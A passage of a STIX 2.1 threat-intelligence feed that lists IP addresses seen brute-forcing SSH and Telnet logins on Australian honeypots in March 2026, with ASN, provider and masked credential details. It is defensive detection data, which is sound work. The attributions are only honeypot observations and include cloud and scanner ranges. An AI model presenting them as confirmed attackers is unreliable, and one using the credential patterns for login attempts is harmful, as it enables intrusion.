      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:15:04.000Z",
      "valid_until": "2026-04-29T18:15:02.000Z"
    },
    {
      "created": "2026-03-28T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--12b2abea-3f54-4ab3-95a3-13c70e1694da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.222.50.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T19:15:03.000Z",
      "valid_until": "2026-04-29T19:15:01.000Z"
    },
    {
      "created": "2026-03-28T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A****f.",
      "id": "indicator--9eb2c141-33a2-4dfa-b9bf-5be5d7142d4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.48.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T19:15:03.000Z",
      "valid_until": "2026-04-29T19:15:01.000Z"
    },
    {
      "created": "2026-03-28T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********t, D*******6, H*********%.",
      "id": "indicator--177dc36b-985f-4b05-96b9-729cc48aea21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.18.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T19:15:03.000Z",
      "valid_until": "2026-04-29T19:15:01.000Z"
    },
    {
      "created": "2026-03-28T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--98d50362-a05f-4a93-ae91-5e0388e25ad4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.211.221.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T19:15:03.000Z",
      "valid_until": "2026-04-29T19:15:01.000Z"
    },
    {
      "created": "2026-03-28T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc. Usernames observed (masked): r**t. Passwords observed (masked): 3***********4, H*********%, W*******., p*********8.",
      "id": "indicator--a5152447-fec7-49fb-bdeb-3c2af9edbff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '75.112.23.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T19:15:03.000Z",
      "valid_until": "2026-04-29T19:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--05933f57-fb0a-4356-b71f-07add707edcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.231.161.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 1***5.",
      "id": "indicator--5465e9e2-5c51-4597-b31d-76fbfb884f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.52.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263974. Organisation(s): VELOX NET MA LTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******r, 1******r, 3***********4, 3**********4, Q**********@.",
      "id": "indicator--7f5d5f1c-2509-4d74-936b-54118639dbfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.255.157.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !************n, 3***********4, 3**********4, 5******N, M*******3.",
      "id": "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.123.249.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0c5a6e01-b8aa-43c3-9f02-4faf16b19f76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 8612. Organisation(s): Tiscali SpA. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.35.140.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:15:04.000Z",
      "valid_until": "2026-04-29T20:15:01.000Z"
    },
    {
      "created": "2026-03-28T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): *******1, 1*******e, 2*******6, 3***********4, 3**********4.",
      "id": "indicator--3b9c41d4-a0dd-46e9-a12e-2f861f96d4d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.33.51.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T21:15:06.000Z",
      "valid_until": "2026-04-29T21:15:01.000Z"
    },
    {
      "created": "2026-03-28T21:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--ee5c6557-44b1-4b3a-81a5-107acfbf0d14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.249.162.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T21:15:06.000Z",
      "valid_until": "2026-04-29T21:15:01.000Z"
    },
    {
      "created": "2026-03-28T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1********, 2****0.",
      "id": "indicator--6ebc300c-7bf0-4918-950e-6d98d7a490b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.17.40.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T21:15:06.000Z",
      "valid_until": "2026-04-29T21:15:01.000Z"
    },
    {
      "created": "2026-03-28T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--7f113329-83b3-4783-9d6b-c34e0af0b655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:15:03.000Z",
      "valid_until": "2026-04-29T22:15:01.000Z"
    },
    {
      "created": "2026-03-28T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c4b6e54c-5072-41b1-acc0-f8f50623d8b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:15:03.000Z",
      "valid_until": "2026-04-29T22:15:01.000Z"
    },
    {
      "created": "2026-03-28T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--93db15be-3e8f-4148-a0ad-c2d7325b9d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.231.205.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:15:03.000Z",
      "valid_until": "2026-04-29T22:15:01.000Z"
    },
    {
      "created": "2026-03-28T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--17c161bd-2689-4309-b3cd-47d041cc9bee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:15:03.000Z",
      "valid_until": "2026-04-29T22:15:01.000Z"
    },
    {
      "created": "2026-03-28T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46783. Organisation(s): EASY LINK LLC. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--2f4068e8-5b08-454d-bec3-1a744e3253d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.146.29.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:15:03.000Z",
      "valid_until": "2026-04-29T22:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135762. Organisation(s): Clear Beam Communications Pvt. Ltd..",
      "id": "indicator--6e00f72c-5f5a-49e9-83e8-9dae0196398c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.69.243.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--2501a419-d269-4997-9acf-e54689fef9c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.79.194.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !********t, 3***********4, 3**********4, A*******3, A********%.",
      "id": "indicator--3fae42f8-9f8a-4d07-ade1-6a6b617776bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.191.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--50af7643-acc2-48ae-8256-5fefcdfeccac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.199.65.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--6eec5075-e3c1-40d4-a185-66ccadff151b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.128.81.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T23:15:07.000Z",
      "valid_until": "2026-04-29T23:15:01.000Z"
    },
    {
      "created": "2026-03-29T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--355b72bf-26be-48c3-a722-5b0c0349ff89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T00:15:04.000Z",
      "valid_until": "2026-04-30T00:15:01.000Z"
    },
    {
      "created": "2026-03-29T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--5b6f70b8-81bf-4619-a4ca-15bc89f58922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.151.214.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T00:15:04.000Z",
      "valid_until": "2026-04-30T00:15:01.000Z"
    },
    {
      "created": "2026-03-29T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--9a0a631a-70db-403f-8afb-f84cb6e337d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T00:15:04.000Z",
      "valid_until": "2026-04-30T00:15:01.000Z"
    },
    {
      "created": "2026-03-29T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A********., a********3, n******1.",
      "id": "indicator--08318bd6-f6d3-40b1-81fe-8cb3969e7671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.21.59.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:15:04.000Z",
      "valid_until": "2026-04-30T01:15:01.000Z"
    },
    {
      "created": "2026-03-29T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--13346c03-1aff-4208-bba9-34f0969ad18c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.84.5.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:15:04.000Z",
      "valid_until": "2026-04-30T01:15:01.000Z"
    },
    {
      "created": "2026-03-29T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--3e117f7e-49f5-4b8a-ba0e-c78af7320669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.202.44.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:15:04.000Z",
      "valid_until": "2026-04-30T01:15:01.000Z"
    },
    {
      "created": "2026-03-29T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--7bab3cf8-64df-466a-930d-9da533fb1370",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.142.24.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:15:04.000Z",
      "valid_until": "2026-04-30T01:15:01.000Z"
    },
    {
      "created": "2026-03-29T01:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--86065b05-f33e-4aea-a51d-1f6743f9fab3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.147.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:15:04.000Z",
      "valid_until": "2026-04-30T01:15:01.000Z"
    },
    {
      "created": "2026-03-29T02:15:05.000Z",
